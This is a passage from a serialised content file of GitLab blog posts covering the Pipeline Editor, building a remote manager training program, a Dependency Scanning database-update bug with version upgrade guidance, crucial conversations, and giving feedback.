}",{"title":19501,"description":19502,"authors":19507,"heroImage":19503,"date":19472,"body":19508,"category":734,"tags":19509},[902],"\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2021-03-02.\n{: .note .alert-info .text-center}\n\nIn GitLab 13.8, we introduced the first iteration of the [Pipeline Editor](/releases/2021/01/22/gitlab-13-8-released/): a dedicated editor designed for authoring your CI/CD. It is your one-stop shop for everything you need to configure your CI/CD pipelines.\n\n## Why do we need a dedicated editor for pipelines?\n\nGitLab's advanced syntax provides a high degree of customization for sophisticated and demanding CI/CD use cases. However, all of this power and flexibility comes with a fair bit of complexity. The Pipeline Editor helps you mitigate this challenge and serves as a single solution that groups all existing CI authoring features in a single location. It is our foundation, and we plan to build on it with enhancements in future iterations. \n\n## Getting started\n\nIn order for the pipeline editor to work, you'll first need to create a `.gitlab-ci.yml` file in your project. The `.gitlab-ci.yml` is a [YAML file](https://en.wikipedia.org/wiki/YAML) where you configure specific GitLab CI/CD instructions. Check out how we are working on [improving the first-time experience of creating a `.gilab-ci.yml` file directly from the Pipeline Editor](https://gitlab.com/groups/gitlab-org/-/epics/5276). \n\n### Continuous validation\nOnce you have created the `.gitlab-ci.yml` file and navigated to it in the Pipeline Editor, you can begin editing your configuration. Writing YAML can be error prone. No matter how technical or skilled you are, programming mistakes happen. Sometimes an indentation will be missed, the incorrect syntax is used, or the wrong keyword is selected, and that's OK! As you start authoring your pipeline, GitLab will inspect the pipeline configuration using our linting APIs and provide you with an indicator of whether your pipeline configuration is valid or not. We will continuously validate your pipeline without making any changes to your pipeline configuration, so you can have confidence in hitting \"merge\" and running your pipeline without any surprises. \n\n![Continuous validation of pipelines](https://about.gitlab.com/images/blogimages/2020-02-08-Pipeline-editor-overview/image1.png){: .shadow.medium.center}\nContinuous validation of your pipelines\n{: .note.text-center}\n\n### Pipeline visualizer: Seeing is believing\nIt's practically impossible to envision what a pipeline should look like when you start writing from a blank YAML file. Luckily, GitLab provides you with a full pipeline view for every running pipeline. But, what if you want to visualize your pipeline _before_ they begin to run? Well, you can do that now by navigating to the \"Visualize\" tab in the Pipeline Editor. You'll find an illustration that shows how your pipeline should look as you write it, similar to the linter, and GitLab will display the visual before making any commits, before running, or before altering your pipeline in any way.\n\nIn the visualization, we will group all your defined pipeline jobs by stages and add links between the jobs based on the [needs](https://docs.gitlab.com/ee/ci/yaml/#needs) relationships you've configured.\n\nIf we take a look at the example below, you can easily see that I've configured a three-stage pipeline, where the build stage has three jobs (step 1-3), and that step 4 needs steps 1 and 3.\n\n![Pipeline editor overview](https://about.gitlab.com/images/blogimages/2020-02-08-Pipeline-editor-overview/image2.png){: .shadow.medium.center}\nPipeline visualizer\n{: .note.text-center}\n\nHere is what the YAML looks like:\n\n ```yaml\nimage: alpine:latest\n\nstages:\n   - test\n   - build\n   - deploy\n\nprepare:\n   script: exit 0\n   stage: test\n\nstep1:\n   script: echo testo\n   stage: build\nstep2:\n   script: echo testo\n   stage: build\nstep3:\n   script: echo testo\n   stage: build\n\nstep4:\n   needs: ['step1', 'step3']\n   script: exit 0\n   stage: deploy\n ```\n\n### View an expanded version of the CI/CD configuration\nWhen configuring pipelines, you use keywords like 'include' and 'extends' often. These keywords help break down one long pipeline configuration file into multiple files, which increases readability and reduces duplication. Unfortunately, those keywords can make a pipeline configuration hard to follow. In some configurations, a pipeline configuration file can be mostly composed of a list of other included configuration files.\n\nTo make the configuration easier to follow, we've added the ability to view a version of your pipeline configuration with all of the 'includes' and 'extends' configurations merged together as a fourth tab in the Pipeline Editor. Now it's much easier to understand more complex pipeline flows and this simplifies the debugging process.\n\nPipeline configuration example:\n\n![pipeline configuration](https://about.gitlab.com/images/blogimages/2020-02-08-Pipeline-editor-overview/image6.png){: .shadow.medium.center}\n\nThe expanded version of the pipeline configuration:\n\n![expanded pipeline configuration](https://about.gitlab.com/images/blogimages/2020-02-08-Pipeline-editor-overview/image7.png){: .shadow.medium.center}\n\n### Lint\n\nThe CI lint helps you validate your pipeline configuration and provides you with additional information about it. That's why we've copied the existing CI linter (which was well hidden in our jobs page) to the Pipeline Editor as a third tab.\n\nThe linter provides you with detailed information about every job you've configured in your pipeline. For each job, it provides the [before_script](https://docs.gitlab.com/ee/ci/yaml/#before_script), [after_script](https://docs.gitlab.com/ee/ci/yaml/#after_script), and [script](https://docs.gitlab.com/ee/ci/yaml/#script) fields, tags, environment names, branches it should run, and more…\n\nIf you look at the following example, just by looking at the linter tab you'll know that the `prepare` job:\n* Runs in the `prepare` stage\n* Contains `before_script`, `script`, and `after_scripts` fields \n* Runs only on master \n* Runs upon failure\n* Tag as production\n* Has the environment set to production \n\n![image3](https://about.gitlab.com/images/blogimages/2020-02-08-Pipeline-editor-overview/image3.png){: .shadow.medium.center}\n\nIn this second example, you can see that the build job is a manual job that runs on all branches and is allowed to fail:\n\n![Manual build job](https://about.gitlab.com/images/blogimages/2020-02-08-Pipeline-editor-overview/image5.png){: .shadow.medium.center}\n\n## How the Pipeline Editor came about\n\nEarlier this year, we decided to split continuous integration into two separate teams: [Continuous Integration](/direction/verify/continuous_integration/), which is responsible for improving the experience of running a CI/CD pipeline, and [Pipeline Authoring](/direction/verify/pipeline_composition/), responsible for helping you author your pipeline. We've defined the Pipeline Authoring team goal as, \"Making the authoring experience as easy as possible for both advanced and novice users.\"\n\n![Verify Groups](https://about.gitlab.com/images/handbook/engineering/verify/verify_groups_banner.jpg){: .shadow.center}\n\nAs a team, we realized that a dedicated authoring area is needed to achieve our [ambitious roadmap](https://youtu.be/hInM7JUEH4Y) – this is when the Pipeline Editor idea was formed. \n\n## Try out Pipeline Editor yourself\n\nThat's it! I hope you found this overview useful. To get started with GitLab CI, you can [try out our hosted GitLab.com solution](/free-trial/), or you can [download GitLab Self-Managed](/free-trial/) and read its documentation for more in-depth coverage of the functionality. \n\nIf you are using our Pipeline Editor, we would love it if you leave us a note on our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/298928)! If you'd like to learn more about the upcoming features, feel free to read through the [Pipeline Editor second iteration epic](https://gitlab.com/groups/gitlab-org/-/epics/4814), and tag `@dhershkovitch` if you have any questions.\n",[1384,1385,4103,754],{"slug":19511,"featured":6,"template":678},"pipeline-editor-overview","content:en-us:blog:pipeline-editor-overview.yml","Pipeline Editor Overview","en-us/blog/pipeline-editor-overview.yml","en-us/blog/pipeline-editor-overview",{"_path":19517,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19518,"content":19523,"config":19529,"_id":19531,"_type":16,"title":19532,"_source":17,"_file":19533,"_stem":19534,"_extension":20},"/en-us/blog/manager-training",{"title":19519,"description":19520,"ogTitle":19519,"ogDescription":19520,"noIndex":6,"ogImage":18477,"ogUrl":19521,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19521,"schema":19522},"Building an All-Remote Management Enablement Program","How to build an all-remote management training & enablement program for the future of work.","https://about.gitlab.com/blog/manager-training","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building an All-Remote Management Enablement Program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Josh Zimmerman\"}],\n        \"datePublished\": \"2021-02-19\",\n      }",{"title":19519,"description":19520,"authors":19524,"heroImage":18477,"date":19526,"body":19527,"category":18484,"tags":19528},[19525],"Josh Zimmerman","2021-02-19","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nOne of GitLab Learning & Development’s (L&D) biggest charters for FY21 was building out a management training program. It was a huge task! The CEO asked the L&D team to build a program that trained managers on remote leadership, managing teams, and management best practices. GitLab has been around since 2011. With our massive growth over the years, there was a huge need to train and develop managers for the future. Building a program from scratch was going to require a proactive approach to ensure all voices were heard and to build a program that equipped our leaders with the right skills. \n\nSo, how do you build a management training program for an all-remote company? What do you include? How do you design and develop an impactful program? \n\nIn this blog, I’ll cover some tips and tricks to what we did in L&D to build the [Manager Challenge](https://about.gitlab.com/handbook/people-group/learning-and-development/manager-challenge/) program. \n\n### Start With a Learning Needs Analysis\n\nWhen I first started at GitLab, I learned that there had never been a formal management training program. L&D was a relatively new function within the organization. With the massive growth, L&D saw an opportunity to train our managers for the skillset they needed to be successful. Our first task for developing a program was to conduct a learning needs analysis. We took a consulting approach to the analysis by interviewing a wide range of stakeholders at the company with varying experience levels. From C-suite executives to new managers, to established Directors, we had to diversify who we would receive input from. \n\nWe divided between us, at the time a team of two, by collecting feedback on the management needs and skill gaps. We conducted a job task analysis by determining what managers do at GitLab and what knowledge and skills they would need. During the interviews, we identified consistent themes across stakeholder groups. Some of the themes mentioned “foundational management” as a critical area to focus skill building. Many of our people leaders had been recently promoted and never managed a team before. The skills needed to manage people are different when you have direct reports versus being an individual contributor. \n\nFrom the learning needs analysis, we could pull out additional themes and recommendations for the training. Managing an all-remote team requires a different set of skills than a colocated office environment. For one, people leaders need to ensure their people are set up to be “[Managers of One](https://about.gitlab.com/handbook/leadership/#managers-of-one).” You have to empower your people to work autonomously and get the job done to achieve results. We synthesized the themes which led us into the storyboarding and training design phase. \n\n### Design a Training Experience That Fits Your Culture\n\nEveryone is super busy at GitLab. Like any high-growth, pre-IPO organization, the company moves at lightning speed. We knew that managers would have limited time to dedicate to training. L&D didn’t want to make managers take huge chunks out of their day to dedicate to training. And there is nothing worse than being on a three to five-hour-long virtual training event! \n\nThe training was divided into two parts: \n1. Daily asynchronous learning activities \n2. Weekly live learning sessions\n\nWe knew that the training needed to be bite-sized over a period of time to reinforce management behaviors and skill-building. When we started designing the program, we looked at 30-day challenges as a framework to support behavior change. Participants would be required to do a short daily challenge that would take twenty minutes to complete on their own time. GitLab is a global company. Our team members live in over 65+ countries around the globe. Coordinating calendars with managers was going to be difficult for dedicated virtual live training time. Instead, we built the curriculum by dividing up themes and topics into weeks and days. We created bite-sized learning and actions for participants to complete on their own time. \n\nAt GitLab, we don’t just read off of slides during a presentation. We ask that participants review slides ahead of the call and use the time together to ask questions while facilitating a discussion. We designed the live learning sessions with these best practices in mind. The live learning sessions would focus on the themes covered during the daily asynchronous activities. Also, we prompted managers to openly discuss specific management topics (i.e., giving/receiving feedback, performance discussions, wellbeing check-ins, etc.) that are important to GitLab. \n\nThe program design started to take shape. We designed a three-week program with asynchronous learning activities to be completed Monday-Wednesday. Thursday’s were dedicated to live-learning events to network and learn from other managers. Friday’s served as catch up days, weekly course evaluations, and self-reflections.\n\n### Use What You Have Available \n\nThe best way to understand how GitLab works is to use it for as much of your job as possible. We [dogfood](https://about.gitlab.com/handbook/product/product-processes/#dogfood-everything) our product by threading it into everything we do in the organization. Managers need to be well-equipped with using GitLab to manage their all-remote team. We designed the training to incorporate GitLab into the curriculum as much as possible. The daily asynchronous learning activities are posted in a [GitLab Issue](https://docs.gitlab.com/ee/user/project/issues/). Everyone in the program, anyone with a GitLab.com account, has access to the learning content. The asynchronous topic was posted daily. Participants could read through the Issue and complete the action item by posting their responses in the comments section. \n\nThe practice enabled our [transparency value](https://handbook.gitlab.com/handbook/values/#transparency) by allowing all participants (anyone really) to review manager’s responses. The benefit of using GitLab reinforced multiple behaviors. One, everyone was dogfooding our product. Two, participants could learn from others by reading how other managers respond to different situations. Three, participants now have a reference point to go back to as they grow in their careers. \n\nDoes your organization have a tool like GitLab to help facilitate L&D initiatives? If so, consider using it to reinforce behaviors and to allow managers to become comfortable using them. If not, consider having your team members sign up for a free [GitLab account](https://gitlab.com/) and [implement a challenge](https://about.gitlab.com/handbook/people-group/learning-and-development/manager-challenge/#learning-and-development-team) using GitLab.  \n\n### Apply Social Learning \n\nRemote work can have some drawbacks. One of those challenges may be a lack of connection with your coworkers. Managers need to form relationships with their team members over virtual calls. And people leaders may not have a lot of opportunities to learn from others in a social setting. When you work for a globally distributed team, there can be isolation if the rest of your team is in different time zones. \n\nWe designed the live learning session as a forum for social learning. Managers were given prompts and scenarios on certain situations they would face in their role. Breakout activities were implemented to strengthen networks and collaboration. Participants would share tips on how they would handle the scenarios. We focused less on slides and presenting material and more on engaging with one another to learn from others. Managers shared lessons learned, and many participants walked away from the live learning sessions with new skills to apply right away on the job. \n\n### Review and Validate the Program with Executives\n\nWe are lucky that our leadership team is passionate about the growth and development of our team members. GitLab’s CEO, Sid, asked us to spearhead management training, and he partnered with us on reviewing the content to ensure it aligned with his vision. High Output Management is a book written by Andrew Grove, former CEO of Intel. It is one of our CEO’s favorite books!\n\nWhen we met with Sid for the first time to review the curriculum, he wanted us to ensure that important principles covered in the book were included. We threaded multiple topics (i.e., 1-1 meetings, performance management, making decisions, etc.) into the program. \n\nAlso, our executive review meetings validated whether or not the program reinforced our values. [Gitlab Values](https://handbook.gitlab.com/handbook/values/) are central to how the organization operates. I’ve never worked for a company where they are emphasized so much! Executives had a keen eye on ensuring that the program equipped managers with being role models of our values. The review and validation from executives were vital as we launched GitLab’s management training program. \n\n### Don’t be afraid to Iterate\n\nIt’s easy for L&D professionals to get caught up in requirement gathering and rapidly develop learning programs. However, it’s important to remember that your solution’s best feedback will occur once you pilot the program. We’ve launched two iterations of the Manager Challenge program, and the two looked completely different. The first program was longer, four weeks, and didn’t do enough to reinforce GitLab Values. We also held several meetings with leadership to thread more GitLab “ways of working” content into the curriculum. We ended up cutting out one of the weeks of training to make it three weeks and used the book High Output Management as the foundation to the enablement. \n\nFor the first iteration, we created a large project plan. We didn’t start with the [smallest thing possible and get it out as quickly as possible](https://about.gitlab.com/blog/behind-the-scenes-how-we-built-review-apps/). The plan allowed us to develop a comprehensive curriculum, but it was without testing. The upfront work took a great deal of time. Looking back, we should have developed a shorter program, iterated, and moved forward with the next version. To be successful, we had to get something out right away, pilot, receive feedback, and update. \n\nDuring the training, we conducted weekly evaluations of the content. With the feedback, we were able to apply constructive points and incorporate them into the next week. For example, participants wanted to network more. So we adapted the curriculum and added more social learning in the remaining weeks. \n\nIteration was central to how we rolled out a more seamless program that incorporated GitLab Values and ways-of-working. Don’t be afraid to iterate if you are building a management training program. The best feedback will come once you get it out the door. \n\n### The Result\n\n\nAfter months of planning, content development, stakeholder reviews, we developed the Manager Challenge program for GitLab people leaders. The program is a blended learning approach that incorporates self-paced daily challenges and live learning sessions to build foundational management skills. The program includes leadership assessments, interactive learning, networking, and digital learning, all in three weeks. The program builds a set of baseline management skills that complement our values. \n\nHere’s what a few participants had to say about the program: \n1. \"The handbook has so much content, it's easy to forget how much tactical information can be found right at your fingertips.\"\n2. \"Team performance is cyclical. Perceived regressions aren't bad, but rather a reflection of a change in team dynamics. Look for the types of questions people are asking to know how to respond.\"\n3. \"The handbook is a great resource with tons of information on being a manager, having hard conversations, and helping teams grow.\"\n4. \"For me, these are good reminders of what are the best practices to adopt as a Manager. I am always exploring what are ways we can do tasks better and faster. With that said, as a manager, we need to be sure my people and others are part of the process.\"\n5. \"I learned that there are so many amazing managers here at GitLab. Each of the days' comments were treasure troves into how to approach something differently or new techniques that others have found success with.\"\n6. \"It's possible to be a great remote manager!\"\n\nIf you are set out to create a management training program for your organization to develop leaders, use some of the points in this blog as a reference point. Feel free to reach out to GitLab Learning & Development at `learning@gitlab.com`. \n\n### Looking for more Learning and Development material from GitLab?\n\nIf you want to learn more about what the Learning and Development team at GitLab is up to, check out our [handbook page](/handbook/people-group/learning-and-development/) or read our past newsletters.\n",[3798,676,2368],{"slug":19530,"featured":6,"template":678},"manager-training","content:en-us:blog:manager-training.yml","Manager Training","en-us/blog/manager-training.yml","en-us/blog/manager-training",{"_path":19536,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19537,"content":19542,"config":19546,"_id":19548,"_type":16,"title":19549,"_source":17,"_file":19550,"_stem":19551,"_extension":20},"/en-us/blog/secure-composition-analysis-bug-not-updating-database",{"title":19538,"description":19539,"ogTitle":19538,"ogDescription":19539,"noIndex":6,"ogImage":12013,"ogUrl":19540,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19540,"schema":19541},"Bug found and resolved in Dependency Scanning","Some customers will need to take specific action to manually update their Dependency Scanning image to receive a bug fix.","https://about.gitlab.com/blog/secure-composition-analysis-bug-not-updating-database","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Bug found and resolved in Dependency Scanning\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nicole Schwartz\"}],\n        \"datePublished\": \"2021-02-19\",\n      }",{"title":19538,"description":19539,"authors":19543,"heroImage":12013,"date":19526,"body":19544,"category":18484,"tags":19545},[14949],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nDependency Scanning relies on the GitLab [Vulnerability Database](https://about.gitlab.com/direction/secure/vulnerability-research/advisory-database/) (called [gemnasium-db](https://gitlab.com/gitlab-org/security-products/gemnasium-db)) to provide it with the latest advisory data (i.e. CVEs). Dependency Scanning docker images are built and released with the latest version of the database and in addition, the analyzers update this database to the latest version at the time of a scan. \n\nHowever, starting with version 2.8.1 of the Dependency Scanning analyzer called gemnasium, the vulnerability database was [not updating itself at scan time](https://gitlab.com/gitlab-org/gitlab/-/issues/294296). Versions between v2.8.1 (released 2020-03-30) and v2.28.0 (released 2021-02-03) are affected by this bug. As a result, since the introduction of the bug, scan results would only be able to identify advisories published on or before the analyzer image release date. In some cases this meant that the advisories' Dependency Scanning analyzers were outdated by several weeks (relying only on the database checked out at image build time).\n\nWe are concerned that this bug made it out to customers and are performing a [root cause analysis](https://gitlab.com/gitlab-org/gitlab/-/issues/321315).\n\nMost customers will receive the bug fix automatically and will have the latest advisory database the next time their Dependency Scanning jobs run. But customers with their own copy of the GitLab container registry or dedicated runners with a docker pull-policy other than always, must take the manual action to pull or update your pin to the latest image (or at least one that is not impacted by this bug). Users that must take this manual action are:\n\n- Customers with an edited Dependency Scanning template that pins their analyzers to a non-major-only tag (for example gemnasium:2.27.0 rather than gemnasium:2)\n- Customers running in an [Offline Environment](https://docs.gitlab.com/ee/user/application_security/offline_deployments/) with their own container registry mirroring GitLab's\n- Self-managed customers or customers with their own docker runners using a pull policy other than `always`\n\nThe three analyzer types that are affected are the gemnasium analyzer, the gemnasium-python and gemnasium-maven analyzer. The affected versions of each are:\n\n- gemnasium v2.8.1 to v2.28.0: update to v2.28.1 or above\n- gemnasium-python v2.11.0 to v2.17.2: update to v2.17.3 or above\n- gemnasium-maven v2.13.0 to v2.20.3: update to v2.20.4 or above\n\nTL;DR - If you are using Dependency Scanning analyzers and are not always pulling their docker images from GitLab's docker container registry, please update your analyzers' docker images promptly in order to sync the analyzers with the latest available advisories.\n\n{: .note}\n",[754,674,944],{"slug":19547,"featured":6,"template":678},"secure-composition-analysis-bug-not-updating-database","content:en-us:blog:secure-composition-analysis-bug-not-updating-database.yml","Secure Composition Analysis Bug Not Updating Database","en-us/blog/secure-composition-analysis-bug-not-updating-database.yml","en-us/blog/secure-composition-analysis-bug-not-updating-database",{"_path":19553,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19554,"content":19559,"config":19565,"_id":19567,"_type":16,"title":19568,"_source":17,"_file":19569,"_stem":19570,"_extension":20},"/en-us/blog/crucial-conversations",{"title":19555,"description":19556,"ogTitle":19555,"ogDescription":19556,"noIndex":6,"ogImage":18477,"ogUrl":19557,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19557,"schema":19558},"Having crucial conversations on an all-remote team","Exploring crucial conversations and the way they fit into our values here at GitLab.","https://about.gitlab.com/blog/crucial-conversations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Having crucial conversations on an all-remote team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Samantha Lee\"}],\n        \"datePublished\": \"2021-02-18\",\n      }",{"title":19555,"description":19556,"authors":19560,"heroImage":18477,"date":19562,"body":19563,"category":18484,"tags":19564},[19561],"Samantha Lee","2021-02-18","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nLast week, I attended the [Crucial Conversations training](https://www.vitalsmarts.com/crucial-conversations-training/). Since joining the GitLab Learning and Development team back in October of 2020, requests for support in having difficult conversations with team members have been a recurring theme from people leaders. I completed this training as the first step in a two-part training that will enable myself and other members of the Learning and Development team to be certified to train the GitLab team in having crucial conversations.\n\nIn this post, I'll outline a few key takeaways from the course, share how crucial conversations look in an all-remote work environment, and explain how crucial conversations connect to our [CREDIT values](https://handbook.gitlab.com/handbook/values/).\n\n### What are crucial conversations?\n\nWhen a conversation turns crucial, emotions and stressors are running high. Crucial conversations can occur any day, at any time, with any person. They can be planned or they can come out of a casual conversation.  \n\nCrucial conversations usually address one of three topics, but it's not abnormal for a crucial conversation to touch multiple topics!\n\n1. **Content**: This could be a crucial conversation about a one-time issue, like a missed deadline, forgotten appointment, or an aggrivating comment. Content conversations address what happened and how to move forward from it.\n\n2. **Pattern**: When topics of content conversations happen time after time, they become a pattern conversation. Crucial conversations to address patterns could be centered around multiple missed responsibilities or repetitive comments that impact a team's ability to work together efficiently. At home, maybe your requests to your partner to take their phone calls in another room to keep a quiet workspace have been repeatedly ignored. Or at work, your direct report has missed the end of month reporting deadline for 3 months in a row. It's important to address pattern conversation early to get to the root cause, which is likely a content issue.\n\n**A quick note about pattern conversations:** At the time of writing this blog post, our world has just hit the one-year mark of life during the Covid-19 pandemic. While addressing patterns is important, it's equally as important to treat each other with kindess and understand that pandemic-induced stress might show itself in problematic patterns. All the more reason to have a conversation about it!\n\n3. **Relationship**: Here's when things get sticky. Content and pattern conversations are about the action happening (or not happening). But relationship conversations are about the _people having the conversation_. These crucial conversations could be about a lack of trust or mutual respect in a relationship, differing communication styles, or lack of agreement on a project or plan of action. It's also important to remember that conversations intended to be content or pattern-focused can turn into relationship conversations quickly, especially when the person feels an emotional tie to the work or action being discussed.\n\nUnderstanding what crucial conversations **are** is as important as understanding what crucial conversations **are not**. Crucial conversations are **not** synonymous with conflict. This was one of the first things we addressed in the training and I think it's one of the most important factors. When we enter crucial conversations prepared for conflict, we're already approaching fight or flight. We're ready to defend ourselves, to act in protection mode. The goal of crucial conversations is not to fight or protect ourselves, but rather to collaborate on desired results.\n\nTake a second to think about the last time you were part of a crucial conversation - a conversation where you perhaps felt stressed, overwhelmed, or nervous about the topic being discussed. How did your body react? Did your heart rate increase? Did you fall silent? Maybe instead your voice was raised. We each respond to crucial conversations in different ways that detract from the main goal of arriving at a solution that works for all parties.\n\nWe've likely all been part of a crucial conversation in the past, whether it be at work or home. Once we know how to identify these conversations, we can move on to strategies for having them effectively. \n\nAt GitLab, this means having effective, results-driven crucial conversations on Zoom with people from all over the world, which brings its own set of unique challenges.\n\n### Having crucial conversations is hard, and an all-remote team brings its own challenges.\n\nIn an office setting, you might pass by a manager or colleague who asks to discuss a challenge or frustration they're having with your work. Or at home, you might spend time after dinner discussing household responsibilities with your children or roommates. During these crucial conversations, we feed off of body language, tone, and energy in the room to recognize if someone feels [psychologically unsafe](/handbook/leadership/emotional-intelligence/psychological-safety/).\n\nBut on Zoom, when your teammate might be in their home office across town or across the globe, we need to use different cues to [build safety and trust](/handbook/leadership/building-trust/).\n\nSome ways we do that at GitLab include:\n\n1. We meet regularly with our people leaders in [1:1 meetings](/handbook/leadership/1-1/). These regular sessions give space for team members to raise crucial conversations often and address challenges and blockers early.\n1. We keep [1:1 agendas](/handbook/leadership/1-1/#the-1-1-agenda) to get a heads up on what will be discussed and to document action items and takeaways from synchronous conversations.\n1. We watch for the [body language cues](/handbook/leadership/crucial-conversations/#having-crucial-conversations-on-an-all-remote-team) that we can see on a video call or in a person's tone of voice. This includes checking if someone turns their camera off mid-call, becomes silent or unresponsive to the conversation, or sounds choked up or angry.\n1. We create intentional [space for pause](/handbook/leadership/crucial-conversations/#having-crucial-conversations-on-an-all-remote-team). There can be a sense of pressure to fill every minute during any conversation. During video or phone conversations, silence might feel more uncomfortable. We ask for and respect requests for a minute to think before responding right away.\n\nThese strategies aren't exclusive to an all-remote team - I'm sure they can have a positive impact on in-person crucial conversations, too! But when working on a remote team, it's important to recognize what's missing from in-person connection and be mindful to make the space as safe as possible.\n\nI've explained what crucial conversations are and how they show up in an all-remote work environment, but most importantly, I need to explain the **why**.\n\n### Why do crucial conversations matter?\n\nCrucial conversations enable our team to live our [CREDIT values](/handbook/leadership/crucial-conversations/#how-crucial-conversations-align-with-gitlab-values). In our [values hierarchy](https://handbook.gitlab.com/handbook/values/#hierarchy), we prioritize results. What I love most about crucial conversations is that they also prioritize results.\n\nHere's an example:\n\nImagine you're an individual contributor at GitLab. You're feeling overwhelmed with the number of projects on your plate this quarter.\n\nIf you wanted, you could commit to each project, knowing the deadlines were probably unrealistic. You could show up to work each day feeling stressed and overwhelmed. You might snap one day, saying something out of frustration to your team, and regret the comment later on.\n\nOr, you could decide to address the issue with your manager in your 1:1. You can:\n1. Collect your facts. In this case, it's your list of projects all due in the quarter.\n1. Share your story. Express how the workload feels unattainable and you know you can't complete your best work in the given time frame)\n1. Come to a conclusion together. Perhaps you decide to prioritize projects, breaking each project down into specific tasks and moving long-term priorities to the next quarter.\n\nThis second scenario is completely based on results. This crucial conversation has enabled you to set yourself up for success in completing every project with your highest quality of work. The company benefits from your high-quality output. Your team benefits from having a team member who isn't totally stressed out. You benefit from feeling safe and confident in the work you're doing. Every outcome from the conversation can be traced back to a key result for yourself, your team, and the company.\n\nWith such a focus on results, our GitLab team should be having crucial conversations every day!\n\nI see crucial conversations map back to the rest of our values as well. You can read more about the [alignment of GitLab values to crucial conversations in our handbook](/handbook/leadership/crucial-conversations/#how-crucial-conversations-align-with-gitlab-values).\n\n### Getting started having crucial conversations\n\nIf you've read through this post and want to give crucial conversations a try, here are a few ways to get started:\n\n1. Read our [Crucial Conversations handbook page](/handbook/leadership/crucial-conversations/).\n1. Read our [Psychological Safety handbook page](/handbook/leadership/emotional-intelligence/psychological-safety/). Creating safe space to have crucial conversations is essential.\n1. Check out the [Crucial Conversations training](https://www.vitalsmarts.com/crucial-conversations-training/) from VitalSmarts. GitLab team members might consider using our [Growth and Development benefit](https://about.gitlab.com/handbook/total-rewards/benefits/general-and-entity-benefits/#growth-and-development-benefit) to take the training themselves.\n1. Try it out! Practicing crucial conversations is the key to getting better at the skills, so give it a try at work, at home, or even with yourself!\n1. GitLab team members - keep an eye out for internal Crucial Conversations training coming in Q2/Q3 of this year as the Learning and Development team gets certified to deliver the training!\n\n### Looking for more Learning and Development material from GitLab?\n\nIf you want to learn more about what the Learning and Development team at GitLab is up to, check out our [handbook page](/handbook/people-group/learning-and-development/) or read our past newsletters. You can also reach us at `learning@gitlab.com`.\n",[3798,2368,676],{"slug":19566,"featured":6,"template":678},"crucial-conversations","content:en-us:blog:crucial-conversations.yml","Crucial Conversations","en-us/blog/crucial-conversations.yml","en-us/blog/crucial-conversations",{"_path":19572,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19573,"content":19578,"config":19582,"_id":19584,"_type":16,"title":19585,"_source":17,"_file":19586,"_stem":19587,"_extension":20},"/en-us/blog/giving-receiving-feedback",{"title":19574,"description":19575,"ogTitle":19574,"ogDescription":19575,"noIndex":6,"ogImage":16646,"ogUrl":19576,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19576,"schema":19577},"Giving & Receiving Feedback","Giving and receiving feedback at GitLab","https://about.gitlab.com/blog/giving-receiving-feedback","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Giving & Receiving Feedback\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Shane Rice\"},{\"@type\":\"Person\",\"name\":\"Lauren Barker\"}],\n        \"datePublished\": \"2021-02-18\",\n      }",{"title":19574,"description":19575,"authors":19579,"heroImage":16646,"date":19562,"body":19581,"category":18484},[19580,19417],"Shane Rice","\nAt GitLab, we believe giving and receiving [useful feedback is an important way to grow as a company and as individuals](https://about.gitlab.com/handbook/people-group/guidance-on-feedback/#radical-candor). Feedback comes in many forms through synchronous and asynchronous communication channels.\n\nGiving feedback can be scary because we fear we might damage a relationship, lose face or hurt someone we work with regularly. We focus on our sub-value of kindness when we give and receive feedback to reduce this fear and share ways to improve. Kindness demonstrates that we care for people by challenging them directly and delivering feedback. We reinforce this sub-value to ensure team members are kind in providing  feedback by doing the following:\n\n1. If its hard feedback, do it in a small group\n2. Make the feedback specific\n3. Feedback should be improvement oriented\n4. Don't give feedback when you're upset or having a bad day! \n\nWe do our best to practice [Radical Candor at GitLab](https://about.gitlab.com/handbook/people-group/guidance-on-feedback/#radical-candor), to care personally and challenge directly. To help build trust, we start by offering feedback on tasks. Over time candor builds greater trust on teams and makes feedback that can be more challenging easier to give and receive. A framework we use to help us deliver effective feedback is the Situation-Behavior-Impact (S-B-I) Model.\n\n**Situation** - Define the when and where by anchoring in time and place.\n\n**Behavior** - Describe the observable behavior and how it was used in context.\n\n**Impact** - Describe how the other person’s action affected you or others experiences and thinking.\n\nAs a global, all-remote company, our team has different expectations for receiving thanks or constructive observations. We recognize our cultural differences and individual preferences play a role in how we work together, which is why we created [GitLab's Cross-Cultural Collaboration Guide](https://about.gitlab.com/company/culture/cross-culture-collaboration-guide/).\n\nCreating an environment where team members can approach them with negative/constructive feedback can be fostered by:\n\n1. Avoiding interruptions.\n2. Asking clarifying questions\n3. Enforcing a no retaliation policy\n4. Following up\n\nEarlier this week, our CEO Sid Sijbrandij and the GitLab Learning and Development team live-streamed a Q&A about giving and receiving feedback. \n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/E5f0Vx0-6IY\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>",{"slug":19583,"featured":6,"template":678},"giving-receiving-feedback","content:en-us:blog:giving-receiving-feedback.yml","Giving Receiving 